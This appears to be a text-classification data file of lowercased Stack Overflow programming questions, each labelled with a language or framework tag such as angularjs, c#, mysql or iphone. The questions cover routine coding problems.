create_table  assignments   force: :cascade do |t|     t.integer   account_id      t.integer   user_id      t.string    assignable_type      t.integer   assignable_id      t.datetime  created_at        null: false     t.datetime  updated_at        null: false     t.index [ account_id ]  name:  index_assignments_on_account_id   using: :btree     t.index [ assignable_type    assignable_id ]  name:  index_assignments_on_assignable_type_and_assignable_id   using: :btree     t.index [ user_id ]  name:  index_assignments_on_user_id   using: :btree   end </code></pre>   how can i get the top five receivers of feedback,ruby-on-rails
passing settings to slick carousel directive in angular not work  i m trying to integrate slick carousel in to my angular application on model. slick already has a directive  so the only thing that i need to do in my html is this:   <pre><code>  &lt;slick    settings= slickconfig  &gt;                             &lt;div class= slider-for-item &gt;                                  &lt;img src= /content/images/condo/condo-1.jpg &gt;                              &lt;/div &gt;                             &lt;div class= slider-for-item &gt;                                 &lt;img src= /content/images/condo/condo-2.jpg &gt;                             &lt;/div&gt;                             &lt;div class= slider-for-item &gt;                                 &lt;img src= /content/images/condo/condo-3.jpg &gt;                             &lt;/div&gt;                         &lt;/slick&gt; </code></pre>   okay  so it works. but now if i want to pass some settings to add them as attributes on the  element this also works  but i want to pass those settings from my angular app and not inside the html any suggestion of how doing this  trying to pass the settings like this:   <pre><code>    cdkapp.controller( buildingdetailspopupcontroller     [ $scope   $uibmodalinstance       function ($scope  $uibmodalinstance) {     $scope.cancel = function () {         $uibmodalinstance.dismiss( cancel );     };      $scope.slickconfig = {          autoplay: true          autoplayspeed: 2000     }; }]); </code></pre>   call a modal window   <pre><code>   controller.buildingdetailspopup = function () {     var modalinstance = $uibmodal.open({         templateurl:  /app/view/partials/_buildingdetailspopup.html           controller:  buildingdetailspopupcontroller           size:  lg       }); </code></pre>,angularjs
how to call service or factory from angularjs template   i have html code with variable:   <pre><code>&lt;span&gt;{{category}}&lt;/span&gt; </code></pre>   also i have service <code>categoryservice</code> with method <code>get()</code> that returns me string name of category. how i can use this method in template like as:   <pre><code>&lt;span&gt;{{category | categoryservice.get}}&lt;/span&gt; </code></pre>,angularjs
need query to pull data form below mentioned tables  table1: id  job number    table1products: fktable1id  fkproductid    table2: id  inv number    table2products: fktable2id  fkproductid    product: id  productname  productcode    need to pull job number  inv number form table1 and table2 and product name and code form the common table product.    can someone please help me with the query. thanks,sql
rails: how to add dynamic days or minutes   in my controller i have    look the commented line  i need dynamic minutes to @presentation.date   <pre><code>def create     @presentation = presentation.new(params[:presentation])     @presentation.user_id = current_user.id     @category = category.find_by_id(params[:presentation][:category_id])     @addtime = params[:presentation][:date] #####@presentation.date = @category.date + @addtime.minutes ---------------------------- with this line not work      @presentation.date = @category.date + 60.minutes     @presentation.expiration = @category.date + 3.days      respond_to do |format|       if @presentation.save         flash[:notice] =  presentation was successfully created.          format.html { redirect_to(@presentation) }         format.xml  { render :xml =&gt; @presentation  :status =&gt; :created  :location =&gt; @presentation }       else         @addtime = params[:presentation][:date]         @category = category.find_by_id(params[:presentation][:category_id])         @minutes = minute.minutes_presentations(params[:presentation][:category_id])         format.html { render :action =&gt;  new  }         format.xml  { render :xml =&gt; @presentation.errors  :status =&gt; :unprocessable_entity }       end     end   end </code></pre>,ruby-on-rails
how can i tell if my mobile network is available or not on the iphone   i have one application in iphone in which i have to show notification when mobile sim network is not present .i want also notification when network back .    and how can also i know how much other network available,iphone
how are struct mem in c  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/119123/why-isnt-sizeof-for-a-struct-equal-to-the-sum-of-sizeof-of-each-member >why isn&#39;t sizeof for a struct equal to the sum of sizeof of each member </a>    </blockquote>     i can t understand struct mem alloc.   <pre><code>typedef struct a{ } a;  sizeof(a) is 0  typedef struct b{     int bb } b;  sizeof(b) is 4  typedef struct b2{     int *bbbb } b2;  sizeof(b2) is 8  typedef struct d{     int x;     int *y; } d;  sizeof(d) is 16! </code></pre>   why sizeof is 16 is it 12 (int+int point=4+8);    i guess sizeof(int) is 4 if int var in struct mem is 8,c
is there a way i can stop the flashing as one ng-show takes over from another   i am using this code to show a different icon depending on the status. but as it moves from one to another there s a flash where it seems neither shows up. is there some way i could fix this or simplify my method:   <pre><code>            &lt;span class= fa fa-circle-o fw                    ng-show= row.statusid == status.notset                    style= padding-left: 0.3rem; &gt;&lt;/span&gt;             &lt;span class= fa fa-unlock fw                    ng-show= row.statusid == status.clean                    style= padding-left: 0.3rem; &gt;&lt;/span&gt;             &lt;span class= fa fa-wrench fw                    ng-show= row.statusid == status.dirty                    style= padding-left: 0.3rem; &gt;&lt;/span&gt;             &lt;span class= fa fa-cloud-upload fw                    ng-show= row.statusid == status.saving                    style= padding-left: 0.3rem; &gt;&lt;/span&gt;             &lt;span class= fa fa-check fw                    ng-show= row.statusid == status.saved                    style= padding-left: 0.3rem; &gt;&lt;/span&gt;             &lt;span class= fa fa-warning fw                    ng-show= row.statusid == status.saveerror                    style= padding-left: 0.3rem; &gt;&lt;/span&gt; </code></pre>,angularjs
to get the textbox values of the form in user control in splitcontainer <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/7593406/get-the-splitcontainer-context-in-user-control-click-event >get the splitcontainer context in user control click event</a>    </blockquote>     i have a split container in which right panel  i have a user control on top.i have a left panel which has navigation links.now if i click a link in left side  a form opens below user control.now if i click view button in user control  a new form should open in right side of panel below user control. also if i have some values in textboxes in form below user control  when i click save button in user cotrol  i should be able to fetch those values in user control button click event.how to do it,c#
quickly loading numerical data in c++  i m working on a feature detection program that uses statistical models of what various sorts of landmarks in images look like. the model uses around 100 different landmarks  and the relevant data for each landmark consists of 16 matrices of doubles  each of size about 160x160.    i m currently using one text file for each landmark  and storing the values from each matrix as a space-separated line. to read the data  i read a line at a time from each file and pass it to a function that generates a stringstream from the line and then reads the values of the matrix from this stream one at a time.     on my computer this takes about 90 seconds to load the ~40 million doubles the model uses. there must surely be a far quicker way of doing this  but i ve not found anything useful from googling  and i ve got no experience with this sort of thing.     i d be very grateful for any suggestions.    <strong>edit:</strong> loki asked me to post code  so i ve shown it below. loadfromfile is called once for each landmark. the first line of each landmark file states how many levels the model uses for this landmark (each level uses four matrices; there are four levels by default). it s a horrible mess  but i m not sure why this is so spectularly slow.   <pre><code>void loadfromfile(string filename) {     ifstream modeldata(filename.c_str()  ifstream::in);     string line;         getline(modeldata line);     int numberoflevels = atoi(line.c_str());      for(size_t ii = 0; ii &lt; numberoflevels; ++ii)         readprofilestats(modeldata);              modeldata.close();               }  void readprofilestats(ifstream&amp; filestream) {     string line;     getline(filestream  line);     vector meanprofile = readmatrixfromstring(line);      getline(filestream  line);     matrix principalcomponents = readmatrixfromstring(line);      getline(filestream  line);       matrix covariancematrixinverse = readmatrixfromstring(line);      m_statslevels.push_back(profilestats(meanprofile  principalcomponents  covariancematrixinverse)); }  matrix readmatrixfromstring(const string&amp; line) {     stringstream stream(line);      size_t numrows;     size_t numcols;       stream &gt;&gt; numrows;       stream &gt;&gt; numcols;            matrix matrix(numrows numcols);      for(int ii = 0; ii &lt; numrows; ++ii)     {                                                for(int jj = 0; jj &lt; numcols; ++jj)                          stream &gt;&gt; matrix(ii jj);                                         }                                                             return matrix;                       } </code></pre>,c++
vertical alignment within thead in table with scrolling tbody  i have a table header where some <code>th</code> values wrap and some do not  resulting in some floating to the top.  i can t seem to align all the values  and the border  to the bottom of the header.    working code here: <a href= https://jsfiddle.net/bcahill/zazgh8u9/  rel= nofollow >jsfiddle</a>    i tried the following  but it had no effect:   <pre><code>th {     vertical-align: bottom; } </code></pre>,css
update panel  user control and registerclientscriptinclude  i have a master page with a script manager. i have a content page with an update panel. inside the update panel i have several user controls which initially are all visible=false. after opening one of the user control  i have not been able to attach my js file using<br> registerclientscriptinclude. i have used:   <pre><code>scriptmanager.registerclientscriptinclude(page  this.gettype()   key5   resolveclienturl( ~/js/configurator.js )); </code></pre>   on the master page  on the content page and in the user control code behind. none of which shows that the js file is being loaded. i have always been able to do this but all controls have been visible from begining. could someone point how to load the script so that it is available for the user control,asp.net
have a background image with a transparent colour  i’d like to be able to have a background image with a transparent colour covering the image. but when i try to put    <pre><code>background-image: url(mylocation); background-color: darkgray; opacity: 0.5; </code></pre>   inside the body {} tags  the image shows  but not the colour  and everything else is transparent. i’m pretty sure that everything else is transparent because they’re all child section of the body  but how would i fix this  so that it’s the way i’d like it to be     thanks!,css
why methods  names are so long in objective-c  i ve learned c/c++  python  matlab and many other language  but i was really surprised by the long method name in objective-c.    what s the advantage of using long name  why no other language use long name      thanks a lot.,objective-c
programming a variable speed slider for iphone  i have a slider with values from 0 to 100.  i can easily stop at any number in the simulator but on my device the slider becomes a little jumpy and might move one or two ticks when you release your finger.  i would like to have my slider act like the multispeed scrubber in the ipod  but i can t find a  prepackaged version  for the uislider.  i can t seem to capture the y coordinates of my touch once i have already grabbed the thumb of the slider. or maybe it is a sensitivity issue. any help would be much appreciated. thanks,iphone
can two iphones connect over wifi without user interaction   i m working through an idea for an iphone app. one of the tech requirements i m considering is the need to send a short data message to another iphone running the same application within range  but this would need to happen transparently.    i don t have 2 devices to test (yet  obviously i ll need them eventually)  and haven t been able to find a definitive answer in the sdk docs  so i m wondering if anyone knows - in principle  is it possible to connect to another iphone without user interaction  assume both devices are running the application  and that the user is aware that this is expected behavior  and that i m not doing anything sinister.    essentially  what i m looking for is the ability to broadcast a small piece of information without any user being aware of the peers involved. i ve considered using a server to facilitate this  and that s a viable alternative  but the data is location and time sensitive  so peer-peer communication is more appropriate (i think).,iphone
simple c program exits prematurely  i m trying to create a c program ( my first) that asks users for a char input  and continues running as long as that char s ascii value is not 0. however  my code never seems to reach the while loop part and always exits after the initial printf statement. i made sure it wasn t a problem with the loop by adding a printf statement before the while loop and it still didn t execute.   <pre><code>#include &lt;stdio.h&gt;   int main(void)  {     char c;      printf( welcome to ascii land:  );      scanf( %c   &amp;c);      while((int) c  != 0) {        printf( type in another char  );        scanf( %c   &amp;c);     }        printf( you re done );     return 0;   } </code></pre>,c
cross browser css problem  what would cause styling to be all screwed up on multiple websites (google  stackoverflow  walmart  etc.) on multiple browsers,css
select results from mysql using a regular date from timestamp column  i seem to be having some problems with something simple here.    i have some data with timestamps. i have a pair of dates and i want to get the data between those dates  ie:    i ve tried:   <pre><code>select      sum(total_amount) as total_sales_amount  from      purchases  where      timestamp &lt;=  2011-11-13     and      timestamp &gt;=  2011-11-06  </code></pre>   and:   <pre><code>select      sum(total_amount) as total_sales_amount  from      purchases  where      date(timestamp) &lt;=  date(2011-11-13)   and      date(timestamp) &gt;=  date(2011-11-06)  </code></pre>   this doesn t work.    it doesn t throw an error  it just doesn t return the results between those dates.    what am i misunderstanding,mysql
looking for an open source wcf proxy generator  are there any open source proxy generators for wcf  the one that is built into visual studio kinda sucks and i would like one that either works better or can be modified to do so.    for example  i really need onxxxchanging and onxxxchanged partial methods.,.net
how to detect abnormal magnetic field/orientation readings and recalibrate orientation sensor (compass reset)   we are trying to develop an app that uses compass information  and facing a similar problem on the droid incredible [http://www.youtube.com/watch v=qsdphksacrc][at time-2:02].    my prob is similar to the link:http://androidforums.com/incredible-support-troubleshooting/73860-compass-calibration.html    ** i have tested my app with nexus one also and its working fine in it. the only problem is droid incredible. **    i do not think repeatedly doing a factory reset will be a good idea for users. ideally we would like to detect the abnormal magnetic field and ask the user to reset just the compass.     can you please suggest how we can detect the abnormal magnetic field through code and trigger the compass reset     thanks,android
how to show min and max values while typing in text box dynamically using angularjs  i want to show min and max values of the text box while user typing the value in text box  if the user tab/move the cursor from textbox the message should be hide.   <pre><code>&lt;input type= text          ng-maxlength= 20           maxlength= 20           ng-minlength= 10           ng-model= value.x &gt; &lt;p ng-show= value.x &gt;   please enter above {{minlength}} and below {{maxlength}} characters  &lt;/p&gt; </code></pre>,angularjs
storing remainder values  i m trying to store values of my remainder in a string variable collect. i am not sure how to keep adding characters to the string as the program iterates through the loop. i have not learnt how to use arrays yet so i am trying to store it as a string type. how do i add characters to a string from a loop without overwriting the previous characters     <pre><code>int quotient = integer / 2; int remainder = integer % 2; int temp = remainder;  console.writeline(remainder);  while( quotient &gt;= 2); {     integer = quotient;     quotient = integer / 2;     remainder = integer % 2;      string collect = string.format( {0}{1}  temp remainder); } </code></pre>,c#
smtp server requires a secure connection or the client was not authenticated. the server response was :5.5.1 authentication required <pre><code>private void button1_click(object sender  eventargs e) {     sendmaxinvoice();     try     {         mailmessage mail = new mailmessage();         smtpclient smtpserver = new smtpclient( smtp.gmail.com );         mail.from = new mailaddress( fromexample@gmail.com );         mail.to.add( toexample@gmail.com );         mail.subject =  test mail - 1 ;         mail.body =  mail with attachment ;          system.net.mail.attachment attachment;         attachment = new system.net.mail.attachment(@ c:\users\user\desktop\dee.txt );         mail.attachments.add(attachment);          smtpserver.port = 587;         smtpserver.credentials = new system.net.networkcredential( fromexample@gmail.com    ******* );         smtpserver.enablessl = true;          smtpserver.send(mail);         messagebox.show( mail send );     }     catch (exception ex)     {         console.writeline(ex.tostring());     } } </code></pre>,c#
how to format integers using decimalformat in java   how does the syntax of <code>decimaformat</code> work  i m trying to make <code>1234567890</code> --> <code>1-234-56789-0</code>.  so i tried <code>decimalformat( #-###-#####-#);</code> but that s clearly wrong!,java
where can i get dotnet platform 5.4 assembly   i was tasked to add functionality to a poc application that our architect has started  he used vs2015 for it. when i was finally able to install and open the sln that he created  i can t compile it because im missing the .net platform 5.4 reference in one of the projects. i tried searching online and via nuget but i can t seem to get a straight forward answer on what i am lacking/ missing and what i need to install to get dotnet platform 5.4,.net
print letters and their ascii codes  i try to print all the letter from a to z and from a to z and their ascii codes but i end up with an infinite loop when i am trying to run it  so where is the mistake     <pre><code>#include &lt;stdio.h&gt;  int main(void) {  int i;  char ch_1 ch_2;   for (ch_1= a ; ch_1&lt;= z ; ch_1++) printf( letter: %c ascii code:%d\n  ch_1 ch_1);  for (ch_2= a ; ch_1&lt;= z ; ch_2++) printf( letter: %c ascii code: %d\n  ch_2 ch_2); } </code></pre>,c
wrapping lines of text inside <pre> with <span>  i am looking for a jquery solution to dynamically wrap the contents of my<code>&lt;pre&gt;</code> code which is written as below  to wrap each line with a <code>&lt;span&gt;</code> and <code>&lt;/span&gt;</code> element so that my css styling for line numbers works.    any ideas on how to do this    <pre><code>&lt;pre&gt; this is the first line of pre text. this is the 2nd line... this is the 3rd line etc etc you get the ideas... &lt;pre&gt; </code></pre>   the above needs to be amended by jquery to become:   <pre><code>&lt;pre&gt; &lt;span&gt;this is the first line of pre text.&lt;/span&gt; &lt;span&gt;this is the 2nd line...&lt;/span&gt; &lt;span&gt;this is the 3rd line etc etc you get the ideas...&lt;/span&gt; &lt;pre&gt; </code></pre>,jquery
validation of viewstate mac failed - load balance environment  my site is hosted on a web farm which in load balancing (total of 4 server) environment but some of my client is encountering below error:   <pre><code>server error in  /  application. validation of viewstate mac failed. if this application is hosted by a web farm or cluster  ensure that &lt;machinekey&gt; configuration specifies the same validationkey and validation algorithm. autogenerate cannot be used in a cluster.  **description**: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.  **exception details**: system.web.httpexception: validation of viewstate mac failed. if this application is hosted by a web farm or cluster  ensure that &lt;machinekey&gt; configuration specifies the same validationkey and validation algorithm. autogenerate cannot be used in a cluster. </code></pre>   however  each of my four sites are having the below machinekey in the web.config file but still encountering the issue.   <pre><code>&lt;machinekey     validationkey= 3b1107f98f6e4ecd868c929c0826c3845058f39b5113cd7e676170f4dbe4d65d83c65bcb166fffb7f2749214c0ca503d04a956c1681f56c63a2b5d9f5f4b04fc      decryptionkey= 3565248537bb78d03cca78a2e8c757451edcfd3d7aae6199420fee692158b37f      validation= sha1  decryption= aes      /&gt; </code></pre>   any advise  thanks,asp.net
android drop shadow similar to google play s music now playing  i am trying to achieve this dropshadow that is on the top of the now playing in google play music.    <img src= https://i.stack.imgur.com/5lwv5.png  alt=  > .    i have tried to use various dropshadows from outside sources and android s resources like  but have not been able to get this. any help would be appreciated.,android
how to check string from database if it s a url using php   im having a problem. i have field in my database where a user can put a facebook url. what i need to do is to check if the data is a url  parse it and just return the username after the / in the url.    an example:    if the database says <a href= https://www.facebook.com/username  rel= nofollow >https://www.facebook.com/username</a>  just username if says www.facebook.com/username same if says just the username just show the username    i have tried it like this:   <pre><code>$url = $facebook;   if (strpos($url  https:// ) == true){ $facebook = str_replace( https://       $url );  $facebook = substr(strrchr($url   / )  1);  } else { $facebook = $facebook; } </code></pre>,php
i want to take a photo when app in the background  ios  i want to take a photo  once every 2 minutes but it is essential the app is in the background. for completely legitimate reasons.  is this possible,ios
query returns null for data from current day to upcoming 7 days  i have got this table and data as shown below    <pre><code>create table events_calender (   company_name varchar(30) default null    reg_date varchar(20)  );  insert into events_calender values( childerse event     30-oct-2015 ); insert into events_calender values( womens event     05-nov-2015 ); insert into events_calender values( mens event     02-nov-2015 ); insert into events_calender values( dolls event     02-oct-2015 ); </code></pre>   i want to return data from current day to upto upcoming  7 days (upcoming events)    i have tried it this way     select  * from events_calender where   reg_date between  date( now() ) and date( date_add( now()   interval 7 day ) )     but no data is actually returned even though the records are present     <a href= http://sqlfiddle.com/#!9/25bd0/3  rel= nofollow >http://sqlfiddle.com/#!9/25bd0/3</a>,mysql
use two database in one mysql sql query  i want to use 2 database in one sql query.i will run query in one db and another db should get selected by prefixing db name to table but the second db name i want to select dynamically. eg:   <pre><code>select * from db1.contact where id  in (select contact_id from (replace(database() 1 2)).email); </code></pre>   how i can do this,mysql
iteration controlled loop not working correctly  the following should generate 2 random numbers between 0 and 100  that follow certain rules.    those rules being:    *neither can be 0    *num1 must be larger than num2    *and num1 must be divisible by num2 (the num1 % num2 bit)    currently the loop works correctly for the first two points  but not the last one. it is still generating numbers where num1 is not divisible by num2. whats gone wrong    <pre><code>do {         if (num1 == 0) {             num1 = rand()%100;         }         else if(num2 == 0) {             num2 = rand()%100;         }         else if (num1 &lt; num2) {             num2 = rand()%100;         }         else if(num1 % num2 != 0) {             num2 = rand()%100;         }         a++;         printf( loop no.:%d %d mod %d = %d %d / %d \n  a num1 num2 num1%num2 num1 num2);     } while(num1 &lt; num2 &amp;&amp; (num1%num2 != 0) &amp;&amp; num1 != 0 &amp;&amp; num2 != 0); </code></pre>,c
the thread 0x798 has exited with code 0 (0x0)  i m trying to run my project in visual web developer 2008 but i am getting these logs from the output of the web developer.     webdev.webserver.exe  (managed): loaded  c:\windows\assembly\gac_msil\system.web.extensions\3.5.0.0__31bf3856ad364e35\system.web.extensions.dll   skipped loading symbols. module is optimized and the debugger option  just my code  is enabled.    the thread 0xef4 has exited with code 0 (0x0). the thread 0xb3c has exited with code 0 (0x0). the thread 0x17a0 has exited with code 0 (0x0).    at first  my web browser prompts and then it will load some of the web page components then after a minute  the error above will appear on my visual web developer and when i m going back to the web browser  it now displays  this page is not available .    i am not getting any error from the visual web developer so i am having a hard time debugging the project.  any ideas where to look at     thanks.,.net
how can i request the user of my iphone app to submit a review about the application   i have done with my app. it s a game. now user starts to play n when he played game for 3 times i want to request that particular user to review this app which is in in-app-purchase. this will increase rankings and downloads of my app. so how can i do this,iphone
coordinator layout scrolling flags inside container  good day  i have <code>coordinatorlayout</code>:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;android.support.design.widget.coordinatorlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      android:layout_width= match_parent      android:layout_height= match_parent      android:background= @color/white      android:clickable= true      android:orientation= vertical &gt;      &lt;android.support.design.widget.appbarlayout         android:layout_width= match_parent          android:layout_height= wrap_content          android:background= @color/transparent          &gt;          &lt;linearlayout             android:background= @color/white              android:orientation= vertical              android:layout_width= match_parent              android:layout_height= wrap_content              &gt;              &lt;textview                 android:id= @+id/title                  app:layout_scrollflags= scroll|enteralways                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:gravity= center_vertical                  android:padding= 10dp                  android:textcolor= @color/black                  android:textsize= @dimen/heading_size  /&gt;              &lt;imageview                 android:layout_width= match_parent                  android:layout_height= @dimen/_150sdp                  android:adjustviewbounds= true                  android:scaletype= centercrop                  android:src= @drawable/top_static_banner                  android:visibility= gone  /&gt;              &lt;com.app.customviews.filter.filterpanel                 android:id= @+id/filter_panel                  android:layout_width= match_parent                  android:layout_height= wrap_content  /&gt;         &lt;/linearlayout&gt;     &lt;/android.support.design.widget.appbarlayout&gt;      &lt;android.support.v7.widget.recyclerview         android:id= @+id/products_view          android:layout_width= match_parent          android:layout_height= match_parent          android:background= @color/menu_divider          android:columnwidth= @dimen/product_row_width          app:layout_behavior= @string/appbar_scrolling_view_behavior  /&gt;  &lt;/android.support.design.widget.coordinatorlayout&gt; </code></pre>   <code>filterpanel</code> is a child of <code>framelayout</code>    i have faced with the problem  that android ignore <code>app:layout_scrollflags</code> inside <code>linearlayout</code> container. i would like add flags to <code>textview</code> inside <code>linearlayout</code>  but how to implement that      anyway  thank you!,android
sizeof unsigned int array <pre><code>int main() {      unsigned __int8 counts[5] = { 0  0  0  0  0};     sizeof(counts) //prints 5     func(counts);  }  void func(unsigned __int8 counts[]){    sizeof(counts) //prints 4 } </code></pre>   could someone explain why sizeof prints two different values for the same array,c++
create a class list dont allow duplicated entries  i m trying to create a class does not allow duplicate entryies   <pre><code>class qset(list):     def __init__(self *args):         super(qset  self).__init__(args[0])         self=list(set(self))   </code></pre>   and when try to test the class duplicated entries not removed    <pre><code>d=[ a   b   a   z   a ] z=qlist(d)         print d   print z </code></pre>   any suggestion to solve this  thanks,python
angular.js template function not running  i am writing a client side clock that ticks in angular.js. however  nothing is showing up. for conventions  i wanted the clock to be a service injected into the controller.     html:   <pre><code> &lt;small&gt;current time is: {{ clientclock.now() | date:  mediumtime  }} &lt;/small&gt; </code></pre>   service:   <pre><code>angular.module( monitorapp ) .factory( clockticker   function($interval) {     $interval(function(){ }  1000);     return {             clientclock: function() { return date; }     } }); </code></pre>   controller:    <pre><code>$scope.clientclock = clockticker.clientclock; </code></pre>,angularjs
displaying upvotes on different models together  i have upvotes working on posts and comments using the <a href= https://github.com/ryanto/acts_as_votable  rel= nofollow >acts_as_votable</a> gem. i display the posts and comments a user has upvoted like this:   <pre><code>@upvoted_posts = @user.get_voted post @upvoted_comments = @user.get_voted comment </code></pre>   is there a way that i can show the upvoted posts and comments together in one feed,ruby-on-rails
geckoengine and c# load dll drivers problem <pre><code>message: couldn t load library  c:\_zagon\tmp\dll\geckoengine\xulrunner\freebl3.dll there was an error during dll loading :  c:\_zagon\tmp\dll\geckoengine\xulrunner\freebl3.dll  error - 18 stack trace:    at tmp.crawlerapp.crawlerapp.loadwin32library(string dllfilepath) in crawlerapp.cs:line 149 </code></pre>   line 149:   <pre><code>throw new exception(string.format( couldn t load library {0}{1}{2}   dllfilepath  environment.newline  exc.message)  exc); </code></pre>   whole code:   <pre><code>dllimport( wininet )]         private static extern int internetgetconnectedstate(ref int lpdwflags  int dwreserved);          [dllimport( wininet )]         private static extern int internetautodial(int dwflags  int hwndparent);          [dllimport( kernel32.dll )]         private static extern intptr loadlibraryex(string dllfilepath  intptr hfile  uint dwflags);          [dllimport( kernel32.dll )]         public static extern bool freelibrary(intptr dllpointer);          private intptr loadwin32library(string dllfilepath)         {             try             {                 intptr modulehandle = loadlibraryex(dllfilepath  intptr.zero  load_with_altered_search_path);                 if (modulehandle == intptr.zero)                 {                     // i m gettin last dll error                     int errorcode = marshal.getlastwin32error();                     throw new applicationexception(                         string.format( there was an error during dll loading : {0}  error - {1}   dllfilepath  errorcode)                         );                 }                  return modulehandle;             }             catch (exception exc)             {                 throw new exception(string.format( couldn t load library {0}{1}{2}   dllfilepath  environment.newline  exc.message)  exc);             }         }  private void loaddll()         {             string xulrunnerpath = @  c:\_zagon\tmp\dll\geckoengine\xulrunner ;\ncrawler\geckoengine\xulrunner ;              string[] files = directory.getfiles(xulrunnerpath   *.dll );             foreach (var file in files)             {                 loadwin32library(file);             }         } </code></pre>   what can cause this error. in win 7 works but when i copy to server i get this error.,c#
line break after each row retrieval  i need to add a line break after each row retrieved; i hav tried adding <br/> in every possible way.. no luck..       <pre><code>while ($line = mysql_fetch_array($result))     {          &gt;                   &lt;style&gt;                 .whitebackground { background-color:#f5ecce;float:left;}                 .graybackground { background-color:#ced8f6; float:right;}                 .date { font-size:10px; color:#627d79;float:right}                 &lt;/style&gt;         &lt; php          $sender=$line[ sender ];         $classy=($sender == $uid)   whitebackground :  graybackground ;         $q=mysql_query( select * from users where u_id= $sender  );         $row=mysql_fetch_array($q);         $receiver=$row[ firstname ];         //if($receiver!= $line[ receiver ])         $msg = $msg .  &lt;tr class= $classy &gt;  .              &lt;td&gt;  . $receiver .  :&amp;nbsp;&lt;/td&gt;  .              &lt;td&gt;  . $line[ msg ] .  &lt;/td&gt; . &lt;td class= date &gt;  . $line[ chattime ] .  &lt;/td&gt;&lt;/tr&gt; ;      }     $msg=$msg .  &lt;/table&gt; ;        echo $msg; </code></pre>   i need to add a break after each sender+msg+time.//like in a usual chat.    <img src= https://i.stack.imgur.com/k8sno.jpg  alt=  >,php
iphone simulator build error on ipad and works fine on iphone simulator and iphone device  i am having a hard time figuring out this problem. my app has iads enabled and it works on iphone (device) and iphone (simulator) 4.1. i know version 3.2 (ipad) does not support ads. so  i did a weak link to the iad library. in the build options => linking => other link tags i wrote iad. after this i get a build error:    <pre><code>ld build/debug-iphonesimulator/one2threepop.app/one2threepop normal i386 cd /users/azamsharp/documents/123pop setenv macosx_deployment_target 10.6 setenv path  /developer/platforms/iphonesimulator.platform/developer/usr/bin:/developer/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin  /developer/platforms/iphonesimulator.platform/developer/usr/bin/gcc-4.2 -arch i386 -isysroot /developer/platforms/iphonesimulator.platform/developer/sdks/iphonesimulator4.1.sdk -l/users/azamsharp/documents/123pop/build/debug-iphonesimulator -f/users/azamsharp/documents/123pop/build/debug-iphonesimulator -filelist /users/azamsharp/documents/123pop/build/one2threepop.build/debug-iphonesimulator/one2threepop.build/objects-normal/i386/one2threepop.linkfilelist -mmacosx-version-min=10.6 iad -xlinker -objc_abi_version -xlinker 2 -framework coregraphics -framework foundation -framework opengles -framework quartzcore -framework uikit -framework audiotoolbox -framework openal -lz -framework avfoundation  -lcocos2d libraries  -weak_framework iad -o /users/azamsharp/documents/123pop/build/debug-iphonesimulator/one2threepop.app/one2threepop  i686-apple-darwin10-gcc-4.2.1: iad: no such file or directory command /developer/platforms/iphonesimulator.platform/developer/usr/bin/gcc-4.2 failed with exit code 1 </code></pre>,iphone
present a modal view using fade-in animation  i presented a login screen as follows modally. correct me if i am not right.   <pre><code>   uistoryboard *storyboard = [uistoryboard storyboardwithname:@ main  bundle:nil];    uiviewcontroller *ivc = [storyboard instantiateviewcontrollerwithidentifier:@ login ];//look at next line    [self presentviewcontroller:ivc animated:yes completion:nil]; </code></pre>   the login screen does appear but the animation is a slide up one. i prefer a fade in and fade our animation. how can i do this,ios
passing zip code in params to use in geo distance filter  i have the thinking sphinx gem and it works. there is one last part i can t figure out. the current setup detects the current users latitude and longitude based on their zip code attribute and includes it in the search options.    i would like to make a slight change. keep the same format but if a zip code is passed in the params using the search form <code>/searches utf8=✓&amp;zip_code=10001</code> that it would use the params zip code instead if its present.    2 reasons why i need this change:   <ul> <li> so non-registered users can perform a search </li> <li> so registered users can search different areas </li> </ul>   it seems to be this line that i need to add to:   <pre><code>        :geo =&gt; [current_user.latitude * math::pi / 180.0  current_user.longitude * math::pi / 180.0] </code></pre>   search controller:   <pre><code>  def index     @search = search.new      if location = location.find_by_zip_code(params[:search])         latitude  = location.latitude * math::pi / 180          longitude = location.longitude * math::pi / 180           locations = location.search(            :geo   =&gt; [latitude  longitude]             :with  =&gt; {:geodist =&gt; 0.0..100_000.0}             :order =&gt;  geodist asc             :per_page =&gt; 5_000         )          @users = user.where(zip_code: locations.map(&amp;:zip_code))            else             @users = user.search(params[:query]              :conditions =&gt; {:ethnicity =&gt; params[:ethnicity]  :gender =&gt; params[:gender]}              :with =&gt; {:age =&gt; (params[:min_age].to_i)..(params[:max_age].to_i)  :geodist =&gt; 0.0..100_000.0}              :geo =&gt; [current_user.latitude * math::pi / 180.0  current_user.longitude * math::pi / 180.0]              :order =&gt;  geodist asc   :without =&gt; {:user_id =&gt; current_user.id})                 end </code></pre>,ruby-on-rails
how to stop the else condition from executing   i have a condition where the else condition executes even the the if condition is true. how manually stop the else condition from executing when the true condition executes  i tried return false. in this case  break does not work.   <pre><code>$(document).keydown(function(e)  {     if (e.which == 38)     {         code inside works     }     else if (e.which == 40)      {         if (current_list_item &gt;= end_of_list)          {             alert( reached the end );             return false;         }          else          {             alert( add more items );         }     } }); </code></pre>,jquery
the request was aborted: could not create ssl/tls secure  in our web application we have social app integration (like facebook  linkedin)  when we  try to connect facebook or linkedin from our application  its throwing error like and its not connecting to facebook  twitter and linkedin    ( system.net.webexception: the request was aborted: could not create ssl/tls secure channel.\\\\r\\\\n   at system.net.httpwebrequest.getresponse()\\\\r\\\\n   at cotcwebmethods.fbaccesstoken_register(nullable`1 id  string clientid  string accesstoken  string userid  string username  string userimage  string email)    but the function works for sometimes  sometime i m getting error.     is it code issue or server issue     the below code for linkedin    oauthlinkedin _oauth = new oauthlinkedin();   servicepointmanager.securityprotocol = securityprotocoltype.ssl3;   servicepointmanager.servercertificatevalidationcallback = validateremotecertificate;    string authlink = _oauth.authorizationlinkget();    this is for twitter    string oauth_consumer_key = system.web.configuration.webconfigurationmanager.appsettings[ twikey ];         string oauth_consumer_secret = system.web.configuration.webconfigurationmanager.appsettings[ twisecretkey ];         httpcontext.current.application[ dbname ] = convert.tostring(system.web.httpcontext.current.request.url.host.tostring().split( . )[0] ==  localhost     dbcotc_roles_permissions  :  dbcotc  + 